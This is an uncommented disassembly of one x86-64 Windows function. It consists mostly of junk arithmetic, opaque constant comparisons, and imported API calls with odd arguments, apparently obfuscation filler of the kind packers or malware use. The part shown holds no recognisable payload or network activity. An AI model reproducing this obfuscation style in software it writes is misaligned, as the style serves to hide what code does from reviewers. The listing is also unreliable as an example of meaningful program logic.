mov rax, qword [rsp + 0x9000]
movzx eax, byte [rax]
mov byte [rsp + 0x4ee8], al
cmp byte [rsp + 0x4ee8], 0x2b
je 0x14005c6b6
jmp 0x14005c6c6
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [rsp + 0x9138], rax
jmp 0x14005c704
mov rax, qword [rsp + 0x8fb0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14a4]
and eax, ecx
mov word [rsp + 0xeb4], ax
movzx r8d, word [0x14025d750]
mov rax, qword [rsp + 0x8f98]
mov rdx, qword [rax]
mov rcx, qword [rsp + 0x90a0]
call fcn.14020f290
nop
jmp 0x14005c736
lea rax, [rsp + 0x1f7]
mov qword [rsp + 0x9140], rax
movsx eax, word [rsp + 0x14a8]
mov rcx, qword [rsp + 0x9040]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x8fd8]
mov word [rcx], ax
movzx eax, byte [0x14025d752]
mov byte [rsp + 0x1fb], al
movsx eax, word [rsp + 0xfbc]
mov dword [rsp + 0x4eec], eax
cmp dword [rsp + 0x4eec], 0
je 0x14005c773
cmp dword [rsp + 0x4eec], 0x6e78
je 0x14020e2c1
jmp 0x14020e310
movsx eax, byte [rsp + 0x1f7]
movsx ecx, byte [rsp + 0x1fa]
add eax, ecx
mov rcx, qword [rsp + 0x9140]
mov byte [rcx], al
movzx eax, word [rsp + 0x14b0]
mov rcx, qword [rsp + 0x8fb0]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8ff8]
movzx ecx, word [rcx]
mov rdx, qword [rsp + 0x9030]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jle 0x14005c906
mov rax, qword [rsp + 0x8fb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14a4]
sub eax, ecx
mov rcx, qword [rsp + 0x8fb0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1ac]
movzx ecx, byte [0x14025c00c]
sar eax, cl
mov byte [rsp + 0x1f9], al
mov rax, qword [rsp + 0x8f70]
mov ecx, dword [rsp + 0x4ebc]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x90c8]
mov edx, dword [rsp + 0x4e88]
mov ecx, dword [rcx]
xor ecx, edx
cmp eax, ecx
jbe 0x14005c8d0
mov rax, qword [rsp + 0x8fd8]
movsx eax, word [rax]
mov dword [rsp + 0x4ef0], eax
cmp dword [rsp + 0x4ef0], 0x27b4
je 0x14005c895
cmp dword [rsp + 0x4ef0], 0x53b8
je 0x14005c858
jmp 0x14005c8ce
mov dword [rsp + 0x28], 0x9f
lea rax, [rsp + 0x27bc0]
mov qword [rsp + 0x20], rax
lea r9, str.Redirect_franchise_Tar_whitewash
lea r8, [rsp + 0x9030]
mov edx, 0x2a
mov ecx, 0xe3
call qword [sym.imp.KERNEL32.dll_GetDateFormatA]
mov dword [rsp + 0x4e5c], eax
jmp 0x14005c8ce
mov rax, qword [rsp + 0x8fb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14a4]
add eax, ecx
mov rcx, qword [rsp + 0x8fb8]
mov word [rcx], ax
mov eax, dword [rsp + 0x4ebc]
mov ecx, dword [rsp + 0x4e9c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e58], eax
jmp 0x14005c906
mov dword [rsp + 0x28], 1
mov dword [rsp + 0x20], ILGetNext
mov r9d, 0x37
mov r8d, 0x46
mov edx, 0xf0
mov rcx, qword [rsp + 0x9088]
call qword [sym.imp.KERNEL32.dll_SetTapePosition]
mov dword [rsp + 0x4ef4], eax
mov rax, qword [rsp + 0x8ff8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9030]
movzx ecx, word [rcx]
and eax, ecx
movzx ecx, word [rsp + 0xeb4]
movzx edx, word [rsp + 0x14b0]
add ecx, edx
cmp eax, ecx
jne 0x14005cb70
movsx eax, word [rsp + 0x14ac]
movsx ecx, word [rsp + 0x14a8]
add eax, ecx
mov rcx, qword [rsp + 0x8f68]
movsx ecx, word [rcx]
mov rdx, qword [rsp + 0x9040]
movsx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jg 0x14005cb02
mov rax, qword [rsp + 0x8f98]
mov rcx, qword [rsp + 0x8f78]
mov rcx, qword [rcx]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x8f60]
mov rdx, qword [rsp + 0x8fc0]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14005cb00
mov rax, qword [rsp + 0x8fa0]
mov rcx, qword [rsp + 0x8f60]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f98]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x8fc0]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
jbe 0x14005cae3
mov rax, qword [rsp + 0x8fd8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfbc]
add eax, ecx
mov word [0x14025d750], ax
mov rax, qword [rsp + 0x9040]
movsx eax, word [rax]
mov dword [rsp + 0x4ef8], eax
cmp dword [rsp + 0x4ef8], 0x3329
je 0x14005ca1a
jmp 0x14005caa0
lea rcx, [rsp + 0x27e10]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgA]
mov dword [rsp + 0x4e70], eax
mov rax, qword [rsp + 0x8fd0]
mov ecx, dword [0x14025c008]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x9090]
mov dword [rcx], eax
mov rax, qword [rsp + 0x90a8]
mov rcx, qword [rsp + 0x9038]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x90c0], rax
lea rcx, [rsp + 0x27e90]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgA]
mov dword [rsp + 0x4e80], eax
mov rax, qword [rsp + 0x9040]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f68]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x14a8], ax
jmp 0x14005cae1
mov rax, qword [rsp + 0x8ff8]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x8fb8]
movzx r9d, word [rax]
movzx r8d, byte [rsp + 0x1f7]
mov rax, qword [rsp + 0x9000]
movzx edx, byte [rax]
mov rax, qword [rsp + 0x90b8]
movzx ecx, byte [rax]
call fcn.1402104a0
nop
jmp 0x14005cb00
movsx eax, word [rsp + 0x14a8]
movsx ecx, word [rsp + 0x14ac]
sar eax, cl
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
jmp 0x14005cb6b
mov rax, qword [rsp + 0x9038]
movzx ecx, al
mov rax, qword [rsp + 0x90c0]
shl rax, cl
mov rcx, qword [rsp + 0x90a8]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x90a0]
sar rdx, cl
mov rcx, rdx
cmp rax, rcx
jne 0x14005cb6b
lea rcx, [rsp + 0x28140]
call qword [sym.imp.COMDLG32.dll_GetSaveFileNameA]
mov dword [rsp + 0x4ea8], eax
mov rax, qword [rsp + 0x8fb8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8fb0]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xeb4], ax
jmp 0x14005cbf5
mov rax, qword [rsp + 0x8f98]
mov rcx, qword [rsp + 0x8fa0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x8f78]
mov rdx, qword [rsp + 0x8f60]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
je 0x14005cbf5
movsx eax, byte [rsp + 0x1fa]
mov rcx, qword [rsp + 0x90b0]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x9008]
mov byte [rcx], al
movzx eax, byte [rsp + 0x1f8]
movzx ecx, byte [rsp + 0x1fb]
xor eax, ecx
mov byte [rsp + 0x1ac], al
mov eax, dword [rsp + 0x4ef4]
mov ecx, dword [rsp + 0x4ebc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x90c8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x90a8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x90a0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x90c0]
mov rdx, qword [rsp + 0x9038]
sub rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14005cd83
mov rax, qword [rsp + 0x8fc0]
mov qword [rsp + 0x9148], rax
cmp qword [rsp + 0x9148], 0
je 0x14005cc4d
jmp 0x14005cce3
lea rax, [rsp + 0x8fc0]
mov qword [rsp + 0x9150], rax
lea rax, [rsp + 0x4e30]
mov qword [rsp + 0x9158], rax
lea rax, [rsp + 0x90c0]
mov qword [rsp + 0x9160], rax
mov rax, qword [rsp + 0x8fd8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xfbc]
add eax, ecx
mov word [rsp + 0x14ac], ax
mov rax, qword [rsp + 0x8fb0]
movzx eax, word [rax]
mov word [rsp + 0x14b4], ax
movzx eax, byte [0x14025c00c]
movzx ecx, byte [rsp + 0x1f8]
and eax, ecx
mov byte [rsp + 0x1ac], al
movsx eax, byte [rsp + 0x1f7]
movsx ecx, byte [rsp + 0x1fa]
add eax, ecx
mov byte [rsp + 0x1f4], al
jmp 0x14005cd7e
lea rcx, [rsp + 0x27d10]
call qword [sym.imp.COMDLG32.dll_PrintDlgA]
mov dword [rsp + 0x4efc], eax
mov eax, dword [rsp + 0x4e18]
mov dword [rsp + 0x4f00], eax
cmp dword [rsp + 0x4f00], 0x35d6a87a
je 0x14005cd62
cmp dword [rsp + 0x4f00], 0x56dbb757
je 0x14005cd22
jmp 0x14005cd7e
movsx eax, byte [rsp + 0x1f4]
movsx ecx, byte [rsp + 0x1f7]
add eax, ecx
mov byte [rsp + 0x1fa], al
mov rax, qword [rsp + 0x9030]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x9160]
mov rdx, qword [rax]
movzx ecx, word [rsp + 0x14b0]
call fcn.140210960
nop
jmp 0x14005cd7e
movsx eax, word [rsp + 0xfbc]
movsx ecx, word [rsp + 0x14ac]
sub eax, ecx
mov rcx, qword [0x14025d758]
mov word [rcx], ax
jmp 0x14005ce09
mov rax, qword [rsp + 0x8fd0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x9090]
mov qword [rsp + 0x9168], rcx
movzx ecx, al
mov rax, qword [rsp + 0x9168]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x4e5c], eax
movzx eax, byte [0x14025d752]
mov byte [rsp + 0x4f04], al
cmp byte [rsp + 0x4f04], 0x35
je 0x14005cdcd
jmp 0x14005cdf4
movzx r8d, word [rsp + 0x14a8]
mov rax, qword [rsp + 0x8f98]
mov rdx, qword [rax]
mov rax, qword [rsp + 0x90a8]
mov rcx, qword [rax]
call fcn.14020f290
nop
jmp 0x14005ce09
lea rcx, [rsp + 0x27c30]
call qword [sym.imp.COMDLG32.dll_ChooseFontA]
mov dword [rsp + 0x4e80], eax
mov rax, qword [rsp + 0x90a0]
mov qword [rsp + 0x9170], rax
mov rax, qword [rsp + 0x90c8]
mov eax, dword [rax]
mov dword [rsp + 0x4f08], eax
cmp dword [rsp + 0x4f08], 0x8c6dd5a4
je 0x14005ce39
jmp 0x14005ce97
mov rax, qword [rsp + 0x9150]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8f60]
shr rax, cl
mov rcx, qword [rsp + 0x8f78]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9030]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x8ff8]
movzx ecx, word [rcx]
or eax, ecx
mov word [rsp + 0x14b0], ax
lea rcx, [rsp + 0x27f10]
call qword [sym.imp.COMDLG32.dll_PageSetupDlgA]
mov dword [rsp + 0x4efc], eax
jmp 0x14005cf5c
mov eax, dword [0x14025c008]
mov dword [rsp + 0x4f0c], eax
cmp dword [rsp + 0x4f0c], 0x7af6e97f
je 0x14005ceb3
jmp 0x14005cefe
movzx eax, byte [rsp + 0x1f6]
movzx ecx, byte [rsp + 0x1f9]
xor eax, ecx
mov byte [rsp + 0x1fb], al
lea rax, [rsp + 0x1f4]
mov qword [rsp + 0x9178], rax
movsx eax, word [rsp + 0x14a8]
mov rcx, qword [rsp + 0x8fd8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
jmp 0x14005cf5c
mov eax, dword [rsp + 0x4ec4]
mov dword [rsp + 0x4f10], eax
cmp dword [rsp + 0x4f10], 0x4d36b2f0
je 0x14005cf28
cmp dword [rsp + 0x4f10], 0x5fae4457
je 0x14005cf47
jmp 0x14005cf5c
movsx eax, word [rsp + 0x14ac]
mov rcx, qword [rsp + 0x9040]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14a8], ax
jmp 0x14005cf5c
lea rcx, [rsp + 0x27f90]
call qword [sym.imp.COMDLG32.dll_PrintDlgExA]
mov dword [rsp + 0x4e74], eax
movzx eax, byte [0x14025c00c]
mov byte [rsp + 0x4f14], al
cmp byte [rsp + 0x4f14], 0
je 0x14005cf87
cmp byte [rsp + 0x4f14], 0x4b
je 0x14005d017
jmp 0x14005d097
lea rax, [rsp + 0x90a0]
mov qword [rsp + 0x9180], rax
mov rax, qword [rsp + 0x9180]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9038]
sub rcx, rax
mov rax, rcx
mov qword [0x14025c018], rax
mov rax, qword [rsp + 0x8f78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fa0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f60], rax
mov eax, dword [rsp + 0x4e58]
mov dword [rsp + 0x4f18], eax
mov rax, qword [rsp + 0x8fd0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e20]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e5c], eax
lea rax, [rsp + 0x1f7]
mov qword [rsp + 0x9188], rax
jmp 0x14005d097
movzx eax, word [rsp + 0x14a4]
mov rcx, qword [rsp + 0x9030]
movzx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x8ff8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1fa]
mov byte [rsp + 0x4f1c], al
cmp byte [rsp + 0x4f1c], 0x43
je 0x14005d052
jmp 0x14005d082
mov rax, qword [rsp + 0x8fd8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f68]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xfbc], ax
movzx ecx, word [rsp + 0x14a4]
call fcn.14020feb0
nop
jmp 0x14005d097
lea rcx, [rsp + 0x27a30]
call qword [sym.imp.COMDLG32.dll_ChooseColorA]
mov dword [rsp + 0x4e80], eax
mov rax, qword [rsp + 0x8f70]
mov eax, dword [rax]
mov dword [rsp + 0x4f20], eax
cmp dword [rsp + 0x4f20], 0
je 0x14005d0ec
cmp dword [rsp + 0x4f20], 0xcc6bdb50
je 0x14005d0c4
jmp 0x14005d1f4
movzx eax, word [rsp + 0x14a4]
mov rcx, qword [rsp + 0x9030]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xeb4], ax
call fcn.14020f790
nop
jmp 0x14005d1f4
movzx eax, byte [rsp + 0x1ac]
movzx ecx, byte [rsp + 0x1f6]
sub eax, ecx
mov byte [rsp + 0x1f8], al
mov rax, qword [rsp + 0x9040]
movsx eax, word [rax]
mov dword [rsp + 0x4f24], eax
cmp dword [rsp + 0x4f24], 0x278c
je 0x14005d129
jmp 0x14005d1d8
mov rax, qword [rsp + 0x9158]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ee0]
xor ecx, eax
mov eax, ecx
mov rcx, qword [0x14025d760]
mov dword [rcx], eax
lea rcx, [rsp + 0x281e0]
call qword [sym.imp.COMDLG32.dll_GetOpenFileNameA]
mov dword [rsp + 0x4f28], eax
mov rax, qword [rsp + 0x8f98]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x8fa0]
shl rax, cl
mov qword [rsp + 0x8fc0], rax
mov rax, qword [rsp + 0x9170]
movzx ecx, al
mov rax, qword [rsp + 0x9038]
sar rax, cl
mov rcx, qword [rsp + 0x9180]
mov qword [rcx], rax
mov rax, qword [rsp + 0x8fb8]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
movzx r9d, word [rsp + 0x14b0]
movzx r8d, byte [rsp + 0x1f4]
movzx edx, byte [rsp + 0x1f4]
movzx ecx, byte [rsp + 0x1f4]
call fcn.1402104a0
nop
jmp 0x14005d1f4
mov rax, qword [rsp + 0x8fe0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4e9c]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4e58], eax
lea rax, [rsp + 0x1f8]
mov qword [rsp + 0x9190], rax
mov rax, qword [rsp + 0x9158]
mov eax, dword [rax]
mov dword [rsp + 0x4f2c], eax
cmp dword [rsp + 0x4f2c], 0
je 0x14005d221
jmp 0x14005d29c
lea rax, [rsp + 0xeb4]
mov qword [rsp + 0x9198], rax
mov rax, qword [rsp + 0x8fd8]
movsx eax, word [rax]
movsx ecx, word [0x14025d750]
add eax, ecx
mov rcx, qword [rsp + 0x8fd8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9140]
movzx eax, byte [rax]
mov byte [rsp + 0x1fc], al
movsx eax, byte [rsp + 0x1fc]
movsx ecx, byte [rsp + 0x1fa]
and eax, ecx
mov byte [rsp + 0x1f7], al
mov rax, qword [rsp + 0x9180]
mov rcx, qword [rsp + 0x90a8]
mov rax, qword [rax]
imul rax, qword [rcx]
mov qword [rsp + 0x90a0], rax
jmp 0x14005d2b5
mov eax, dword [rsp + 0x4ebc]
mov ecx, dword [rsp + 0x4e98]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x4f18], eax
lea rax, [rsp + 0x4e30]
mov qword [rsp + 0x91a0], rax
mov rax, qword [rsp + 0x8f78]
mov rcx, qword [rsp + 0x9150]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8f60], rax
mov rax, qword [rsp + 0x9190]
movzx eax, byte [rax]
mov byte [rsp + 0x1fd], al
lea rax, [rsp + 0x1fd]
mov qword [rsp + 0x91a8], rax
mov rax, qword [rsp + 0x9040]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8fd8]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8f68]
mov word [rcx], ax
movsx eax, byte [rsp + 0x1f4]
movsx ecx, byte [rsp + 0x1fc]
sub eax, ecx
mov rcx, qword [rsp + 0x90b0]
mov byte [rcx], al
mov rax, qword [rsp + 0x9190]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x91a8]
movzx ecx, byte [rcx]
sub eax, ecx
movzx ecx, byte [rsp + 0x1fb]
movzx edx, byte [rsp + 0x1f9]
sub ecx, edx
cmp eax, ecx
jne 0x14005d421
mov rax, qword [rsp + 0x8fb8]
movzx eax, word [rax]
mov dword [rsp + 0x4f30], eax
cmp dword [rsp + 0x4f30], 0x8d5
je 0x14005d3a7
cmp dword [rsp + 0x4f30], 0xc99
je 0x14005d3fd
jmp 0x14005d41c
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x9040]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [0x14025d758]
mov word [rcx], ax
lea rcx, [rsp + 0x28280]
call qword [sym.imp.COMDLG32.dll_GetOpenFileNameA]
mov dword [rsp + 0x4e70], eax
movzx eax, word [rsp + 0xeb4]
mov rcx, qword [rsp + 0x8fb8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x14b0], ax
jmp 0x14005d41c
mov r8, qword [rsp + 0x9170]
mov rax, qword [rsp + 0x90c8]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x4e98]
call fcn.14020ffb0
nop
jmp 0x14005d51d
mov rax, qword [rsp + 0x9170]
mov qword [rsp + 0x91b0], rax
movabs rax, 0x32b4c600263b91ad
cmp qword [rsp + 0x91b0], rax
je 0x14005d447
jmp 0x14005d4c1
mov eax, dword [rsp + 0x4ec4]
mov ecx, dword [rsp + 0x4e20]
or ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9158]
mov dword [rcx], eax
mov rax, qword [rsp + 0x90b8]
movzx eax, byte [rax]
mov byte [rsp + 0x4f34], al
cmp byte [rsp + 0x4f34], 0x68
je 0x14005d481
jmp 0x14005d4aa
mov rax, qword [rsp + 0x8f78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fc0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x8f60], rax
call fcn.14020f790
nop
jmp 0x14005d4bf
lea rcx, [rsp + 0x27d90]
call qword [sym.imp.COMDLG32.dll_PrintDlgA]
mov dword [rsp + 0x4efc], eax
jmp 0x14005d4fd
lea rax, [rsp + 0x4e88]
mov qword [rsp + 0x91b8], rax
mov rax, qword [rsp + 0x90c0]
mov rcx, qword [0x14025c018]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x9038], rax
movzx eax, byte [rsp + 0x1fc]
mov byte [rsp + 0x1fe], al
mov rax, qword [rsp + 0x9040]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8f68]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x14a8], ax
mov rax, qword [rsp + 0x9040]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8fd8]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x8f68]
movsx ecx, word [rcx]
mov rdx, qword [0x14025d758]
movsx edx, word [rdx]
add ecx, edx
cmp eax, ecx
je 0x14005d5c9
mov rax, qword [rsp + 0x9190]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1fb]
sub eax, ecx
mov rcx, qword [rsp + 0x91a8]
mov byte [rcx], al
mov rax, qword [rsp + 0x91a8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9190]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x14025d752], al
lea rcx, [rsp + 0x27ad0]
call qword [sym.imp.COMDLG32.dll_ReplaceTextA]
mov qword [rsp + 0x91c0], rax
mov rax, qword [rsp + 0x90a8]
mov r8, qword [rax]
mov rax, qword [rsp + 0x90c8]
mov edx, dword [rax]
mov ecx, dword [0x14025c010]
call fcn.14020ffb0
nop
jmp 0x14005d6fa
mov rax, qword [rsp + 0x8fb8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x14b4]
sub eax, ecx
movzx ecx, word [rsp + 0x14a4]
mov rdx, qword [rsp + 0x8fb0]
movzx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jg 0x14005d6fa
lea rax, [rsp + 0xeb4]
mov qword [rsp + 0x91c8], rax
mov rax, qword [rsp + 0x8fe0]
mov ecx, dword [0x14025c010]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x90c8]
mov rdx, qword [rsp + 0x8f70]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jae 0x14005d66c
mov rax, qword [rsp + 0x9090]
mov ecx, dword [rsp + 0x4e5c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4e18], eax
mov rcx, qword [rsp + 0x9070]
call qword [sym.imp.SHELL32.dll_ILCreateFromPathA]
mov qword [rsp + 0x91d0], rax
jmp 0x14005d6fa
mov rax, qword [rsp + 0x8f78]
mov rcx, qword [rsp + 0x8f60]
mov rax, qword [rax]
xor rax, rcx
mov qword [rsp + 0x8fc0], rax
mov rax, qword [rsp + 0x9038]
mov rcx, qword [rsp + 0x9180]
mov qword [rsp + 0x91d8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x91d8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x90c0], rax
lea rax, [rsp + 0x4f18]
mov qword [rsp + 0x91e0], rax
mov rax, qword [rsp + 0x9178]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x1f4]
and eax, ecx
mov rcx, qword [rsp + 0x9000]
mov byte [rcx], al
lea rax, [rsp + 0x1f9]
mov qword [rsp + 0x91e8], rax
movzx eax, byte [rsp + 0x1f6]
mov rcx, qword [rsp + 0x91a8]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x91e8]
movzx ecx, byte [rcx]
mov rdx, qword [rsp + 0x9190]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jl 0x14020e1e5
mov rax, qword [rsp + 0x9038]
mov qword [rsp + 0x91f0], rax
movabs rax, 0x24715d67bb0c0000
cmp qword [rsp + 0x91f0], rax
je 0x14005d770
movabs rax, 0x375996b8474551c8
cmp qword [rsp + 0x91f0], rax
je 0x14020e064
jmp 0x14020e139
mov rax, qword [rsp + 0x91a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4ec4]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x8fd0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x4e30]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jl 0x14005d9aa
mov rax, qword [rsp + 0x9150]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x8fc0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x8f78]
mov rdx, qword [rsp + 0x8fa0]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jb 0x14005d951
movzx eax, word [rsp + 0x14b0]
mov dword [rsp + 0x4f38], eax
cmp dword [rsp + 0x4f38], 0
je 0x14005d7f8
jmp 0x14005d930
mov rax, qword [rsp + 0x9170]
mov qword [rsp + 0x91f8], rax
mov eax, dword [rsp + 0x4e18]
mov dword [rsp + 0x4ee0], eax
mov rax, qword [rsp + 0x9188]
movzx eax, byte [rax]
mov byte [rsp + 0x4f3c], al
cmp byte [rsp + 0x4f3c], 0
je 0x14005d845
cmp byte [rsp + 0x4f3c], 0x2c
je 0x14005d911
jmp 0x14005d92e
movzx eax, byte [rsp + 0x1fd]
mov byte [rsp + 0x4f40], al
cmp byte [rsp + 0x4f40], 0x40
je 0x14005d871
cmp byte [rsp + 0x4f40], 0x5a
je 0x14005d8f1
jmp 0x14005d90f
mov rax, qword [rsp + 0x8fe0]
mov rcx, qword [rsp + 0x91e0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x91b8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x9150]
mov rax, qword [rax]
mov qword [rsp + 0x9200], rax
movzx eax, byte [rsp + 0x1f9]
mov rcx, qword [rsp + 0x9190]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x1fb], al
movzx eax, byte [rsp + 0x1fe]
mov byte [rsp + 0x1ff], al
mov rax, qword [rsp + 0x9198]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xeb4]
sar eax, cl
mov rcx, qword [rsp + 0x9198]
mov word [rcx], ax
jmp 0x14005d90f
mov rax, qword [rsp + 0x8fd8]
movsx eax, word [rax]
mov rcx, qword [0x14025d758]
movsx ecx, word [rcx]
or eax, ecx
mov word [0x14025d750], ax
jmp 0x14005d92e
lea rdx, [rsp + 0x9060]
mov rcx, qword [rsp + 0x9088]
call qword [sym.imp.KERNEL32.dll_GetProcessHandleCount]
mov dword [rsp + 0x4f28], eax
jmp 0x14005d94f
mov rax, qword [rsp + 0x9188]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9008]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x1ff], al
jmp 0x14005d9a8
movsx eax, byte [rsp + 0x1fc]
mov rcx, qword [rsp + 0x9140]
movsx ecx, byte [rcx]
sub eax, ecx
movsx ecx, byte [rsp + 0x1f4]
movsx edx, byte [rsp + 0x1fe]
sub ecx, edx
cmp eax, ecx
jle 0x14005d9a8
lea r9, [rsp + 0x90d0]
lea r8, [rsp + 0x278b0]
lea rdx, [rsp + 0x27d10]
lea rcx, [rsp + 0x278d0]
call sub.ole32.dll_CoGetInterceptor
mov dword [rsp + 0x4e78], eax
jmp 0x14005d9e4
mov eax, dword [rsp + 0x4ec4]
mov ecx, dword [rsp + 0x4e18]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9158]
mov dword [rcx], eax
mov rax, qword [rsp + 0x8f98]
mov rcx, qword [rsp + 0x8fa0]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x9200], rax
mov rax, qword [rsp + 0x8fc0]
mov qword [rsp + 0x9208], rax
cmp qword [rsp + 0x9208], 0
je 0x14005da94
movabs rax, 0x998a65ded5244ba
cmp qword [rsp + 0x9208], rax
je 0x14005da1c
jmp 0x14020df9a
movzx eax, word [rsp + 0x14a4]
mov rcx, qword [rsp + 0x9030]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x8fb0]
mov word [rcx], ax
movzx eax, byte [rsp + 0x1ac]
movzx ecx, byte [rsp + 0x1fd]
and eax, ecx
mov byte [rsp + 0x1f8], al
mov rax, qword [rsp + 0x8fd0]
mov ecx, dword [rsp + 0x4ec4]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [0x14025d760]
mov dword [rcx], eax
lea rdx, [rsp + 0x27d10]
lea rcx, [rsp + 0x4f44]
call qword [sym.imp.SHELL32.dll_ILFindChild]
mov qword [rsp + 0x9210], rax
jmp 0x14020df9a
mov rax, qword [rsp + 0x8f68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x8fd8]
movsx ecx, word [rcx]
sub eax, ecx
movsx ecx, word [rsp + 0x14a8]
movsx edx, word [0x14025d750]
add ecx, edx
cmp eax, ecx
je 0x14005db73
mov rax, qword [rsp + 0x9150]
mov rax, qword [rax]
mov qword [rsp + 0x9218], rax
